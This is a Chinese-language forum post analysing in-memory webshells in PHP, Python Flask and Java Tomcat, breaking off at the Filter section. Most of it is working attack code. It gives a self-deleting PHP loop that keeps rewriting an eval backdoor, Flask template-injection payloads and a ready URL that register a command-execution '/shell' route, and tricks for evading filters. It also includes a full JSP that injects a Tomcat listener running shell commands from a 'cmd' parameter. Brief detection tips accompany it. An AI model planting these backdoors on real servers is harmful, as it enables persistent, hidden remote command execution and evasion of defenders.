taibeihacker
Moderator
Webshell 内存马分析
內存webshell 相比於常規webshell 更容易躲避傳統安全監測設備的檢測,通常被用來做持久化,規避檢測,持續駐留目標服務器。無文件攻擊、內存Webshell、進程注入等基於內存的攻擊手段也受到了大多數攻擊者青睞。1 PHP 内存马
1.1 原理
php 內存馬也就是php 不死馬是將不死馬啟動後刪除本身,在內存中執行死循環,使管理員無法刪除木馬文件。1
2
3
4
5
6
7
8
9
10
?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while (1) {
$content='?php @eval($_POST['zzz']) ?';
file_put_contents('config.php', $content);
usleep(10000);
}
?
ignore_user_abort:函數設置與客戶機斷開是否會終止腳本的執行,如果設置為true,則忽略與用戶的斷開。
set_time_limit:設置允許腳本運行的時間,單位為秒。如果設置為0(零),沒有時間方面的限制。
1.2 检测
檢查所有php 進程處理請求的持續時間檢測執行文件是否在文件系統真實存在
2 Python 内存马
2.1 原理
Python 內存馬利用flask 框架中SSTI 注入來實現,flask 框架中在web 應用模板渲染的過程中用到render_template_string() 進行渲染,但未對用戶傳輸的代碼進行過濾導致用戶可以通過注入惡意代碼來實現python 內存馬的注入。在icehexman Github 中對flask 框架下的內存馬進行了研究。
2.1.1 flask route
類比tomcat 註冊路由的機制,如filter,如果想實現python 內存馬,也應該研究下flask 是否能動態註冊路由。flask 常規註冊的方式為使用裝飾器@app.route() 。而實際工作的函數為裝飾器裡調用的方法self.add_url_rule() 。

add_url_rule 需要三個參數:
URL:和裝飾器app.route() 的第一個參數一樣,必須以/開始。
endpoint:就是在使用url_for() 進行跳轉的時候,這個里面傳入的第一個參數就是這個endpoint 對應的值。這個值也可以不指定,默認值為函數名。
view_func:只需要寫方法名(也可以為匿名參數),如果使用方法名不要加括號,加括號表示將函數的返回值傳給了view_func 參數。
2.1.2 flask context
想實現內存webshell,關鍵點在於view_func 。 view_func 可以採用匿名函數定義邏輯,該方法要實現捕獲參數值、執行命令、響應。Flask 的工作原理:當一個請求進入Flask,首先會實例化一個Request Context,這個上下文封裝了請求的信息在Request 中,並將這個上下文放入到棧_request_ctx_stack 的結構中,也就是說獲取當前的請求上下文等同於獲取_request_ctx_stack 的棧頂元素_request_ctx_stack.top 。
2.1.3 flask 内置函数
通過{{.}} 可以執行表達式,但是命名空間是受限的,沒有builtins,所以eval、popen 這些函數是不能使用的。但是可以通過任意一個函數的func_globals 而得到其的命名空間,而得到builtins。Flask 內置了兩個函數url_for 和get_flashed_messages。也就是構造命令執行,可以使用:
1
2
3
{{url_for.__globals__['__builtins__'].__import__('os').system('ls')}}
{{url_for.__globals__['__builtins__']['eval']('__import__('os').popen('whoami').read()')}}
2.2 实现
以下面的Demo 代碼為例:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from flask import Flask, request
from flask import render_template_string
app=Flask(__name__)
@app.route('/')
def hello_world():
return 'Hello World'
@app.route('/test',methods=['GET', 'POST'])
def test():
template='''
div class='center-content error'
h1Oops! That page doesn't exist./h1
h3%s/h3
/div
''' %(request.values.get('param'))
return render_template_string(template)
if __name__=='__main__':
app.run(port=8000)
將payload 拆解開:
1
2
3
4
5
6
7
8
9
10
11
12
url_for.__globals__['__builtins__']['eval'](
'app.add_url_rule(
'/shell',
'shell',
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
)
',
{
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
'app':url_for.__globals__['current_app']
}
)
lambda 即匿名函數,payload 中add_url_rule() 函數的第三個參數定義了一個lambda 匿名函數,其中通過os 庫的popen() 函數執行從Web 請求中獲取的cmd 參數值並返回結果,其中該參數值默認為whoami。
eval() 方法的語法:
1
eval(expression[, globals[, locals]])
globals - 變量作用域,全局命名空間,如果被提供,則必須是一個字典對象。指定全局變量。
最終的URL:
1
http://ip:8000/param?param={{url_for.__globals__[%27__builtins__%27][%27eval%27](%22app.add_url_rule(%27/shell%27,%20%27shell%27,%20lambda%20:__import__(%27os%27).popen(_request_ctx_stack .top.request.args.get(%27cmd%27,%20%27whoami%27)).read())%22,{%27_request_ctx_stack%27:url_for.__globals__[%27_request_ctx_stack%27],%27app%27:url_for.__globals__[%27current_app%27]})}}

2.2 检测
查看所有內建模塊中是否包含eval、exec 等可以執行代碼的函數如:class warnings.catch_warnings、class site.Quitter等。檢測self.add_url_rule() 中特殊名字的路由如shell 等。
2.3 逃逸
以Python 沙箱逃逸的技巧為例:url_for 可用get_flashed_messages 或request.application.__self__._get_data_for_json 等替換;
代碼執行函數替換,如exec 等替換eval;
字符串可採用拼接方式,如['__builtins__']['eval'] 變為['__bui'+'ltins__']['ev'+'al'];
__globals__ 可用__getattribute__('__globa'+'ls__') 替換;
[] 中括號可用.__getitem__() 或.pop() 替換;
…
3 Java 内存马
3.1 简介
Java 內存馬目前主要分為2 類:Servlet-API 型
通過命令執行等方式動態註冊一個新的listener、filter 或者servlet,從而實現命令執行等功能。特定框架、容器的內存馬原理與此類似,如spring 的controller 內存馬,tomcat 的valve 內存馬
字節碼增強型
通過java 的instrumentation 動態修改已有代碼,進而實現命令執行等功能。
3.2 原理
Servlet、Listener、Filter 由javax.servlet.ServletContext 去加載,無論是使用xml 配置文件還是使用Annotation 註解配置,均由Web 容器進行初始化,讀取其中的配置屬性,然後向容器中進行註冊。Servlet 3.0 API 允許使ServletContext 用動態進行註冊,在Web 容器初始化的時候(即建立ServletContext 對象的時候)進行動態註冊。不同的容器實現方式略有差異,下文主要以Tomcat 為例。
3.2.1 Tomcat
Tomcat 中主要包括四種容器,Engine、Host、Context、WrapperEngine 為外部接口,可以配置多個Host
一個Host 可以包含多個Context(WEB 應用)
一個Context 可以包含多個Wrapper
每個Wrapper 對應1 個Servlet

Context 對應的Web 應用, 每一個Context 都有唯一的path, 這裡的path 不是指servlet 綁定的WebServlet 地址, 而是指的是獨立的一個Web 應用地址,就好比Tomat 默認的/地址和manager 地址就是兩個不同的web 應用,所以對應兩個不同的Context,要添加Context 需要在server.xml 中配置docbase。
在一個web 應用中可以配置多個訪問路徑,比如登錄頁面,後台管理等,對於同一個Context 中不同的WebServlet 地址,將會分配不同的Wrapper。這就說明了每個Context 可以對應多個Wrapper,每個Wrapper 對應一個Servlet。說明同一個web 應用context 相同但是對應的Wrapper 不同,然後根據不同的Servlet 服務展示不同的內容。
技巧
IDEA 創建Java Web 項目可參考:https://blog.csdn.net/gaoqingliang521/article/details/108677301
3.2.2 Listener 内存马
監聽器用於監聽Web 應用中某些對象的創建、銷毀、增加,修改,刪除等動作的發生,然後作出相應的響應處理。當監聽範圍的對象的狀態發生變化的時候,服務器自動調用監聽器對像中的方法。常用於統計網站在線人數、系統加載時進行信息初始化、統計網站的訪問量等等。主要由三部分構成:
事件源:被監聽的對象
監聽器:監聽的對象,事件源的變化會觸發監聽器的響應行為
響應行為:監聽器監聽到事件源的狀態變化時所執行的動作
在初始化時,需要將事件源和監聽器進行綁定,也就是註冊監聽器。請求網站的時候,程序先自動執行listener 監聽器的內容, 再去執行filter 過濾器,如果存在多個過濾器則會組成過濾鏈,最後一個過濾器將會去執行Servlet 的service 方法,即Listener - Filter - Servlet。
Listener 是最先被加載的, 所以可以利用動態註冊惡意的Listener 植入內存馬。
Listener 分類
ServletContext 監聽,服務器啟動和終止時觸發
ServletContextListener:用於監聽整個Servlet 上下文(創建、銷毀)
ServletContextAttributeListener:對Servlet 上下文屬性進行監聽(增刪改屬性)
Session 監聽,Session 建立摧毀時觸發
javax.servlet.http.HttpSessionListener:對Session 整體狀態的監聽
javax.servlet.http.HttpSessionAttributeListener:對Session 屬性的監聽
Request 監聽,每次訪問服務時觸發
ServletRequestListener:對Request 請求進行監聽(創建、銷毀)
ServletRequestAttributeListener:對Request 屬性進行監聽(增刪改屬性)
如果能動態添加Listener 那Request 監聽最適合植入內存馬。
ServletRequestListener 提供兩個方法:requestInitialized 和requestDestroyed,兩個方法均接收ServletRequestEvent 作為參數,ServletRequestEvent 中又儲存了ServletContext 對象和ServletRequest 對象,因此在訪問請求過程中可以在request 創建和銷毀時實現自己的惡意代碼,完成內存馬的實現。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
%@ page import='org.apache.catalina.core.StandardContext' %
%@ page import='org.apache.catalina.core.ApplicationContext' %
%@ page import='java.lang.reflect.Field' %
%@ page import='java.util.*,javax.crypto.*,javax.crypto.spec.*'%
%@ page import='org.apache.jasper.tagplugins.jstl.core.Out' %
%@ page import='java.io.IOException' %
%@ page import='javax.servlet.annotation.WebServlet' %
%@ page import='java.io.InputStreamReader' %
%@ page import='java.io.BufferedReader' %
%
Object obj=request.getServletContext();
Field field=obj.getClass().getDeclaredField('context');
field.setAccessible(true);
ApplicationContext applicationContext=(ApplicationContext) field.get(obj);
field=applicationContext.getClass().getDeclaredField('context');
field.setAccessible(true);
StandardContext standardContext=(StandardContext) field.get(applicationContext);
ListenH listenH=new ListenH(request, response);
standardContext.addApplicationEventListener(listenH);
out.print('test');
%
%!
public class ListenH implements ServletRequestListener {
public ServletResponse response;
public ServletRequest request;
ListenH(ServletRequest request, ServletResponse response) {
this.request=request;
this.response=response;
}
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
String cmder=request.getParameter('cmd');
String[] cmd=new String[]{'/bin/sh', '-c', cmder};
try {
Process ps=Runtime.getRuntime().exec(cmd);
BufferedReader br=new BufferedReader(new InputStreamReader(ps.getInputStream()));
StringBuffer sb=new StringBuffer();
String line;
while ((line=br.readLine()) !=null) {
//執行結果加上回車
sb.append(line).append('br');
}
String result=sb.toString();
this.response.getWriter().write(result);
}catch (Exception e){
System.out.println('error ');
}
}
}
%
通過jsp 嘗試動態添加Listener,這裡需要注意, 因為我們是直接通過add 來添加, 所以每次訪問該jsp 頁面的時候都會重複添加Listener,導致惡意payload 重複執行。添加成功後訪問任意存在的頁面?cmd=要執行的命令即可, 即使jsp 文件被刪除依然可以使用。
3.2.3 Filter 内存马
Filter 被稱之為過濾器,是Java 中最常見也最實用的技術之一,通常被用來處理靜態web 資源、訪問權限控制、記錄日誌等附加功能等等。一次請求進入到服務器後,將先由Filter 對用戶請求進行預處理,再交給Servlet。未完待續。
参考
web 攻防技術|內存馬分析內存馬到底是個什麼東西
Tomcat 內存馬學習
一文看懂內存馬
python flask 內存馬
Tomcat 內存馬初探